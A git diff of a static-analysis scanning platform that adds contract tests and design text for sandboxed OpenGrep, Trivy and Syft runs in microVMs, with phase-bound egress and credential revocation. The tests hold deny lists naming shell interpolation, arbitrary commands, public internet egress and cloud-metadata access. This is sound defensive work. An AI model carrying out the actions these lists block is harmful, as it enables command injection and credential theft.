-14,6 +14,8 @@ const files = { deploymentOperations: new URL('../src/types/deployment-operations.ts', import.meta.url), sastRuntime: new URL('../src/types/sast-runtime.ts', import.meta.url), sastPlanning: new URL('../src/types/sast-planning.ts', import.meta.url), + sastFetch: new URL('../src/types/sast-fetch.ts', import.meta.url), + sastWrapper: new URL('../src/types/sast-wrapper.ts', import.meta.url), index: new URL('../src/index.ts', import.meta.url) }; @@ -35,7 +37,9 @@ test('shared contract modules exist and are re-exported from the package root', 'ai-inference-runtime', 'deployment-operations', 'sast-runtime', - 'sast-planning' + 'sast-planning', + 'sast-fetch', + 'sast-wrapper' ]) { assert.match( indexContent, @@ -45,6 +49,85 @@ test('shared contract modules exist and are re-exported from the package root', } }); +test('SAST wrapper contracts expose only fixed invocation and bounded observation metadata', () => { + const contract = readFileSync(files.sastWrapper, 'utf8'); + + const allowedExportNames = [ + 'MAX_SAST_SANDBOX_ATTESTATION_TTL_SECONDS', + 'SAST_SANDBOX_ATTESTATION_AUDIENCE', + 'SAST_SANDBOX_ATTESTATION_ISSUER', + 'SAST_SANDBOX_ATTESTATION_VERSION', + 'SAST_SANDBOX_CLEANUP_TIMEOUT_SECONDS', + 'SAST_SCANNER_ASSET_ROOT', + 'SAST_SCANNER_OUTPUT_ROOT', + 'SAST_SCANNER_PLAN_DIGEST_VERSION', + 'SAST_SCANNER_RUNTIME_EVENT_TYPES', + 'SAST_SCANNER_SELECTED_WORKSPACE_ROOT', + 'SAST_SCANNER_WORKING_DIRECTORY', + 'SAST_SCANNER_WORKSPACE_ROOT', + 'SAST_SCANNER_WRAPPER_SCHEMA_VERSION', + 'SastBoundedLogObservation', + 'SastSandboxCleanupObservation', + 'SastSandboxRuntimeAttestation', + 'SastSandboxRuntimeAttestationClaims', + 'SastSandboxRuntimePolicy', + 'SastScannerArtifactObservation', + 'SastScannerExecutionRecord', + 'SastScannerInputBinding', + 'SastScannerInvocation', + 'SastScannerPreflightBinding', + 'SastScannerProcessObservation', + 'SastScannerRepositoryManifest', + 'SastScannerResourceObservation', + 'SastScannerRuntimeAuditSignal', + 'SastScannerRuntimeEventType', + 'SastScannerRuntimeExecutionResult', + 'SastScannerWrapperExecutionRequest', + 'SastSignedSandboxCleanupObservation', + 'buildSastScanPlanDigestPreimage', + 'deriveScannerExecutionStatus', + 'isSastSandboxRuntimePolicyValid', + 'isSastScannerInvocationBoundToPlan', + 'isSastScannerProcessObservationValid', + 'isSastScannerWrapperExecutionRequestValid', + 'scannerRuntimeLimits' + ]; + const exportedNames = [ + ...contract.matchAll( + /^export\s+(?:interface|const|function|type)\s+([A-Za-z_]\w*)\b/gm + ) + ].map((match) => match[1]); + + assert.deepEqual( + [...new Set(exportedNames)].sort(), + [...allowedExportNames].sort() + ); + for (const exportName of allowedExportNames) { + assert.match(contract, new RegExp(`export (interface|const|function|type) ${exportName}\\b`)); + } + + for (const forbiddenInput of [ + 'customerCommand', + 'customerArgs', + 'customerEnvironment', + 'pluginBody', + 'executableConfigBody', + 'repositoryContent', + 'credentialValue' + ]) { + assert.doesNotMatch(contract, new RegExp(`\\b${forbiddenInput}\\b`, 'i')); + } + + assert.match(contract, /shellInterpolationAllowed:\s*false/); + assert.match(contract, /publicInternetEgressAllowed:\s*false/); + assert.match(contract, /runtimeAssetUpdateAllowed:\s*false/); + assert.match( + contract, + /SAST_SCANNER_SELECTED_WORKSPACE_ROOT\s*=\s*[\r\n\s]*'\/workspace\/selected'/ + ); + assert.match(contract, /artifact\.byteSize\s*>\s*0/); +}); + test('AI inference runtime contracts are advisory-only and exclude forbidden payload fields', () => { assert.equal(existsSync(files.aiInferenceRuntime), true); diff --git a/specs/006-production-sast-runtime-design/contracts/sast-runtime.md b/specs/006-production-sast-runtime-design/contracts/sast-runtime.md index 29a6749..b0c9fef 100644 --- a/specs/006-production-sast-runtime-design/contracts/sast-runtime.md +++ b/specs/006-production-sast-runtime-design/contracts/sast-runtime.md @@ -210,10 +210,12 @@ or recognizing an extension cannot create a language-complete profile. it inventories Git tree/object metadata and enforces the selected profile's file-count, expanded-byte, single-file, and path-depth materialization limits. 5. Only a tree within those bounds is checked out. Credential is held in memory or tmpfs, - excluded from process arguments, and wiped before - artifact handoff completes. + excluded from process arguments, and wiped and revoked before any scanner starts. 6. Fetch metadata records the remote host, fixed commit, object count, and byte count, but never records URL userinfo or credential material. +7. Network egress is phase-bound: fetch permits HTTPS only to the SCM host from the signed + repository binding. The remote, Git metadata, credential, and SCM egress rule are removed + before scanner execution switches to Result Ingress and telemetry only. Submodules and LFS object content are disabled by default. A future policy must enumerate each allowed secondary repository and issue separate scope-bound access. @@ -236,6 +238,11 @@ The selection input is explicit: Deep uses `ALL_SCANNABLE`, while Fast supplies deterministic changed/context path allowlist. Selected bytes include only scannable entries in that selection. The selection mode and normalized sorted paths are part of the length-prefixed inventory digest, so a changed-file selection cannot be substituted after attestation. +Fast scanners never receive `/workspace/repository` as their input. The provider materializes +a platform-owned, read-only `/workspace/selected/` projection from +the attested allowlist, excludes every unselected entry, and attests the projection path and +source inventory digest. Deep scanners use the read-only repository root. A missing or +mismatched projection fails closed before process start. For an accepted decision, the platform signs an attestation over the attempt ID, fixed commit, path-policy version, normalized inventory digest, and decision. The control plane passes that @@ -261,8 +268,10 @@ recursion, LFS smudge disabled, pre-checkout tree/object limit enforcement, deta verification, remote removal, and `.git` metadata destruction before scanner handoff. Preflight binds each entry's Git object ID so same-size content replacement changes the bytewise-sorted, length-prefixed UTF-8 inventory -digest, uses the validation order above, and signs its decision. Provider -microVM execution and scanner wrapper launch remain T025-T028 work. +digest, uses the validation order above, and signs its decision. T025-T028 connect this +verified state to a plan-digest-bound sandbox attestation, fixed scanner wrappers, bounded +runtime observations, signed attempt number/deadline, and signed cleanup evidence. The default provider intentionally fails +closed until the 005 rollout installs a live microVM adapter. The repository credential issuer uses an opaque synthetic value only outside production for contract and handoff tests. Its default production path fails closed until the provider rollout installs a GitHub App/GitLab scoped credential-minting adapter; it never treats the synthetic @@ -277,7 +286,8 @@ Required wrapper controls: - scanner binary/image and wrapper digest verification before start - non-root identity, read-only root, read-only repository mount, private writable output -- default-deny network with no runtime database or rule download +- phase-bound default-deny network: signed SCM host only during fetch, then Result Ingress + and telemetry only with no runtime database or rule download during scanning - CPU, memory, disk, process, file descriptor, output, finding, and wall-clock enforcement - bounded stdout/stderr capture with secret redaction - deterministic locale, timezone, and clock metadata @@ -288,6 +298,52 @@ Required wrapper controls: The wrapper cannot accept tenant-provided command fragments, plugins, environment maps, or executable rules. +The implemented wrapper derives fixed platform paths and does not accept a workspace or output +path from the caller. Deep input is `/workspace/repository`; Fast input is the +inventory-digest-bound selected projection: + +- OpenGrep: `scan -f --sarif-output= + --no-autofix --disable-nosem --no-git-ignore --x-ignore-semgrepignore-files + --disable-version-check ... `. Repository ignore files and inline + suppression cannot reduce authoritative coverage. +- Trivy: `filesystem --format json --output ` with vulnerability, + misconfiguration, and secret scanners plus offline/skip-update/disable-telemetry flags. + Its read-only cache path includes both the pinned vulnerability-database digest and the + pinned checks-bundle digest. Explicit wrapper-owned config, empty ignore policy, + platform-owned secret configuration, emitted suppressed results, and signed-profile timeout + prevent repository `trivy.yaml`/`.trivyignore` files or the tool's five-minute default from + changing coverage. +- Syft: `dir: --config + --output cyclonedx-json=` with update, archive expansion, repository config + discovery, Maven/local-cache enrichment, remote-license lookup, and external Go + package-tool execution disabled by platform-owned environment. + +Only scanners required by the immutable profile are launched. Before every launch, the +provider-facing runtime re-manifests the exact mount and verifies the original signed +preflight decision and inventory digest. Provider observations with unknown fields, raw log +content, mismatched identities/digests, unbounded resources, zero-byte artifacts, or +schema-invalid artifact metadata are rejected and never persisted. +All scanner processes start in `/workspace/output`, not the customer repository, and receive an +exact allowlisted environment. + +The sandbox attestation binds the attempt identifier and attempt number and derives one +attempt-wide deadline from its issue time and the signed profile hard timeout. Manifest reads +and all required scanner executions share that cumulative deadline; the provider receives an +abort signal and may not reset the timeout per scanner. +Cleanup has a separate 60-second destruction deadline. Signed cleanup evidence predating the +runtime attempt is rejected. +Attempt admission runs in a serializable transaction, and a database partial unique index +allows only one `VALIDATING`, `SCANNING`, or `CLEANUP_PENDING` attempt for a scan request. +Attempt 1 requires no prior attempt. Attempt 2 additionally requires durable attempt 1 to be +terminal `FAILED` with `failureClass=RETRYABLE_INFRASTRUCTURE`, `retryEligible=true`, a +completion timestamp, and an attempt-scoped final audit event. Scanner defects, input +rejections, security violations, cleanup failures, or completed scans cannot be retried with +an identical second execution. +The signed attempt deadline is durable. A bounded reconciliation loop atomically transitions +any process-orphaned attempt still nonterminal 60 seconds after that deadline to +`CLEANUP_FAILED` and records an attempt-scoped final `sandbox.cleanup_failed` audit event. The +default reconciliation poll is 10 seconds and uses a stage/deadline index plus bounded batches. + ## Scanner Responsibility Matrix | Capability | Authoritative scanner | Required profile | Durable output | @@ -434,7 +490,9 @@ required by tenant policy becomes required before execution and affects the cano | `CAPACITY_REJECTED` | tenant budget or concurrency exceeded | No immediate retry | Defer/reject with retry condition | Every retry revalidates current kill switches and scanner-set availability but preserves the -original immutable scan intent. +original immutable scan intent. The second attempt cannot be admitted unless the immediately +preceding durable attempt carries the retry-eligible infrastructure decision and final audit +binding. ## Evidence Contract diff --git a/specs/006-production-sast-runtime-design/quickstart.md b/specs/006-production-sast-runtime-design/quickstart.md index 6bcbb6b..76fbdb3 100644 --- a/specs/006-production-sast-runtime-design/quickstart.md +++ b/specs/006-production-sast-runtime-design/quickstart.md @@ -100,16 +100,18 @@ Fast and Deep lanes use separate queues and budgets but the same microVM securit 3. Provision one ephemeral microVM and attest its workload identity. 4. Inject a short-lived fixed-commit repo-read credential without persistence or logging. 5. Fetch the repository, enforce path/resource policy, and reject unsafe input. -6. Run signed, digest-pinned scanner wrappers without package install, build, dynamic +6. Remove the SCM remote and Git metadata, wipe and revoke the credential, and remove the + signed repository-binding host egress rule. +7. Run signed, digest-pinned scanner wrappers without package install, build, dynamic execution, or runtime internet enrichment. -7. Upload bounded artifact envelopes to the result ingestor and wipe the credential. -8. Validate, normalize, fingerprint, correlate, reduce evidence, and evaluate coverage. -9. Send normalized findings to policy and reduced evidence references to AI when eligible. -10. Wipe the workspace, destroy the microVM, and record destruction evidence. +8. Upload non-empty bounded artifact envelopes to the result ingestor. +9. Validate, normalize, fingerprint, correlate, reduce evidence, and evaluate coverage. +10. Send normalized findings to policy and reduced evidence references to AI when eligible. +11. Wipe the workspace, destroy the microVM, and record destruction evidence. ## Implemented Runtime Checkpoint -T022 through T024 are implemented as the first Phase 5 runtime slice: +T022 through T028 are implemented as the complete Phase 5 runtime boundary: - Token Broker verifies a signed, bounded-lifetime workload attestation against tenant, repository binding, scan request, attempt, workload identity, and fixed commit. A durable @@ -132,12 +134,62 @@ T022 through T024 are implemented as the first Phase 5 runtime slice: submodule/archive entries, binds Git object IDs against same-size content replacement, and produces a deterministic inventory digest plus signed `ACCEPT`, `REJECT`, or `RESTRICTED_ESCALATION` attestation. - -This checkpoint does not claim that the provider microVM platform is live. T025 through T028 -must connect the verified repository state to pinned scanner wrappers and destruction evidence -before production execution is eligible. The non-production opaque credential issuer exists -only to verify the handoff contract; the default production issuer fails closed until live -rollout installs a provider-backed GitHub App/GitLab scoped minting adapter. +- The scanner wrapper accepts only an immutable `SastScanPlan`, attempt binding, preflight + binding, and a short-lived sandbox attestation that signs the complete plan digest, attempt + identifier, attempt number, and cumulative deadline. It + generates fixed shell-less OpenGrep SARIF, Trivy JSON offline, and Syft CycloneDX commands + against `/workspace/repository` for Deep or the platform-owned, + inventory-digest-bound `/workspace/selected/` projection for Fast, with output + under `/workspace/output`; caller paths, commands, flags, environment maps, plugins, and + executable configuration are not request fields. Processes + start in the private output directory. OpenGrep repository ignore/`nosem`, Trivy repository + config/ignore files, and Syft repository config/archive expansion, remote enrichment, and + external package-tool execution are disabled; only wrapper/rule-digest-bound platform + configuration is loaded. +- Immediately before each scanner launch, the installed provider must read the exact + read-only repository mount, attest the exact scanner input, and return a content-bound + manifest. Fast requires `PATH_ALLOWLIST` plus a read-only selected projection containing no + unselected entry; Deep requires `ALL_SCANNABLE` plus the repository root. The runtime applies the same + preflight algorithm and refuses to call the scanner when the attestation, attempt, selection, + decision, or inventory digest differs. +- Sandbox policy requires non-root execution, read-only root and repository mounts, private + writable output, bounded CPU/memory/disk/process/FD/log/artifact/time, no build/install/ + dynamic execution/runtime asset update, and no unrestricted public internet or cloud + metadata access. Repository fetch temporarily permits HTTPS only to the signed + repository-binding SCM host; scanner execution starts only after credential wipe/revocation + and removal of that egress rule, then permits Result Ingress and telemetry only. + The signed profile timeout is one cumulative attempt deadline shared by manifest and scanner + calls, not a fresh allowance per scanner; provider calls receive an abort signal and cleanup + has a separate 60-second deadline. + The default provider remains unavailable and fails closed until the 005 provider rollout + installs the live microVM adapter. +- Scanner terminal records persist exit/status/timing, bounded stdout/stderr metadata, + resource observations, artifact metadata, and every relevant image/wrapper/rule/database/ + profile/preflight digest. Trivy's immutable cache path binds both its database and checks + bundle digests, and a zero-byte JSON/SARIF/CycloneDX artifact is rejected before persistence. + Serializable attempt admission plus a database partial unique index prevents concurrent active + sandboxes for one scan. Attempt 2 is admitted only when durable attempt 1 ended `FAILED` with + `RETRYABLE_INFRASTRUCTURE`, `retryEligible=true`, completion metadata, and a final audit event. + The signed deadline is persisted, and reconciliation + marks process-orphaned overdue attempts `CLEANUP_FAILED` with a final audit signal. Attempt + completion additionally requires signed credential, + process, volume, result-ingress, and microVM destruction evidence plus a final audit event; + a missing, stale, or late condition becomes `CLEANUP_FAILED`. Database constraints reject + null-bypassed runtime metadata and bind audit events to the same tenant and attempt. Existing + `ScannerRun` and `AuditEvent` tables are handled by the mandatory, idempotent + `prisma:online-schema` step immediately after transactional Prisma migration: it builds + indexes concurrently, adds constraints `NOT VALID`, then validates them in separate + autocommit statements to avoid holding write-blocking locks during existing-row scans. +- `ANALYSIS_CLIENT_MODE=mock`, the mock scan controller, legacy source collection, and + `MockAnalysisApiClient` are test-only. Non-test configuration and runtime paths fail closed + before repository credential decryption or source collection. + +This checkpoint proves the provider-facing execution contract but does not claim that the +provider microVM platform is live. The non-production opaque credential issuer and test +runtime provider exist only to verify the handoff contract. Default production credential +issuance and scanner execution both fail closed until live rollout installs provider-backed +GitHub App/GitLab scoped minting and microVM adapters. T029 is therefore the next implementation +task; live deployment eligibility still requires the 005 rollout and the remaining 006 gates. ## Deployment Position diff --git a/specs/006-production-sast-runtime-design/tasks.md b/specs/006-production-sast-runtime-design/tasks.md index 631bb42..84886c3 100644 --- a/specs/006-production-sast-runtime-design/tasks.md +++ b/specs/006-production-sast-runtime-design/tasks.md @@ -38,10 +38,10 @@ - [x] T022 Implement per-attempt short-lived repo-read token handoff - [x] T023 Implement shallow fixed-commit fetch with submodule/LFS/archive defaults - [x] T024 Implement hostile path, symlink, case-collision, size, count, and file-type preflight -- [ ] T025 Implement pinned OpenGrep, Trivy, and Syft wrapper commands from signed profiles -- [ ] T026 Enforce no build, install, dynamic execution, runtime update, or unrestricted egress -- [ ] T027 Remove production routing to the mock-analysis path while preserving test fixtures -- [ ] T028 Capture scanner exit, resource, digest, and sandbox destruction audit signals +- [x] T025 Implement pinned OpenGrep, Trivy, and Syft wrapper commands from signed profiles +- [x] T026 Enforce no build, install, dynamic execution, runtime update, or unrestricted egress +- [x] T027 Remove production routing to the mock-analysis path while preserving test fixtures +- [x] T028 Capture scanner exit, resource, digest, and sandbox destruction audit signals ## Phase 6: Artifact Ingress and Normalization diff --git a/test/github-actions/scanner-sandbox-provisioning.test.mjs b/test/github-actions/scanner-sandbox-provisioning.test.mjs index fa94907..5ca5787 100644 --- a/test/github-actions/scanner-sandbox-provisioning.test.mjs +++ b/test/github-actions/scanner-sandbox-provisioning.test.mjs @@ -16,8 +16,59 @@ test('microVM scanner sandbox provisioning contract defines stronger-than-pod sc assert.equal(contract.sandboxProvider, 'MICROVM'); assert.deepEqual(contract.supportedIsolationClasses, ['HARDENED', 'RESTRICTED']); assert.equal(contract.defaultIsolationClass, 'HARDENED'); - assert.equal(contract.ttlSeconds, 900); - assert.equal(contract.networkEgressPolicy, 'SCM_AND_SCANNER_UPDATES_ONLY'); + assert.equal(contract.ttlSeconds, 3960); + assert.deepEqual(contract.ttlPolicy, { + source: 'SIGNED_PROFILE', + maximumExecutionSeconds: 3600, + provisioningGraceSeconds: 300, + cleanupGraceSeconds: 60, + hardMaximumSeconds: 3960 + }); + assert.equal(contract.networkEgressPolicy, 'PHASE_BOUND_DENY_BY_DEFAULT'); + assert.deepEqual(contract.networkEgressPhases.REPOSITORY_FETCH, { + allowedDestinationPolicy: 'BOUND_SCM_HOST_ONLY', + boundHostSource: 'SIGNED_REPOSITORY_BINDING', + allowedProtocols: ['HTTPS'], + unboundPublicInternetEgressAllowed: false, + resultIngressAllowed: false, + transitionRequires: [ + 'FIXED_COMMIT_FETCHED', + 'REMOTE_REMOVED', + 'GIT_METADATA_REMOVED', + 'CREDENTIAL_WIPED_AND_REVOKED', + 'SCM_EGRESS_RULE_REMOVED' + ] + }); + assert.equal( + contract.networkEgressPhases.SCANNER_EXECUTION.allowedDestinationPolicy, + 'RESULT_INGRESS_AND_TELEMETRY_ONLY' + ); + assert.equal( + contract.networkEgressPhases.SCANNER_EXECUTION.boundScmHostAllowed, + false + ); + assert.equal(contract.publicInternetEgressAllowed, false); + assert.equal(contract.cloudMetadataAccessAllowed, false); + assert.equal(contract.executionBoundary.runAsNonRoot, true); + assert.equal(contract.executionBoundary.readOnlyRootFilesystem, true); + assert.equal(contract.executionBoundary.signedAttemptDeadlineRequired, true); + assert.equal( + contract.executionBoundary.orphanedAttemptReconciliationRequired, + true + ); + assert.deepEqual(contract.scannerInputBoundary, { + deepScanMount: '/workspace/repository', + fastScanMountTemplate: + '/workspace/selected/', + fastScanMaterializer: 'PLATFORM_OWNED', + fastScanSelectionSource: 'ATTESTED_PATH_ALLOWLIST', + fastScanContentBinding: 'PREFLIGHT_INVENTORY_DIGEST', + fastScanReadOnly: true, + fastScanUnselectedEntriesAllowed: false, + scannerReceivesRepositoryRootForFastScan: false, + preScannerProjectionAttestationRequired: true, + projectionMismatchPolicy: 'FAIL_CLOSED' + }); assert.equal(contract.repositoryAccess.principal, 'REPO_READ'); assert.equal(contract.repositoryAccess.tokenScope, 'tenant-repository-scan'); assert.equal(contract.repositoryAccess.shortLived, true); @@ -39,6 +90,13 @@ test('microVM scanner sandbox forbids package install, builds, dynamic tests, di 'PACKAGE_INSTALL', 'CUSTOMER_REPOSITORY_BUILD', 'DYNAMIC_TESTING', + 'SHELL_INTERPOLATION', + 'ARBITRARY_COMMAND_OR_ARGUMENT', + 'CUSTOMER_ENVIRONMENT', + 'CUSTOMER_EXECUTABLE_CONFIG', + 'RUNTIME_RULE_OR_DATABASE_UPDATE', + 'PUBLIC_INTERNET_EGRESS', + 'CLOUD_METADATA_ACCESS', 'DIRECT_SOURCE_UPLOAD', 'AI_FULL_REPOSITORY_ACCESS', 'AUTO_FIX_PR_OR_MR'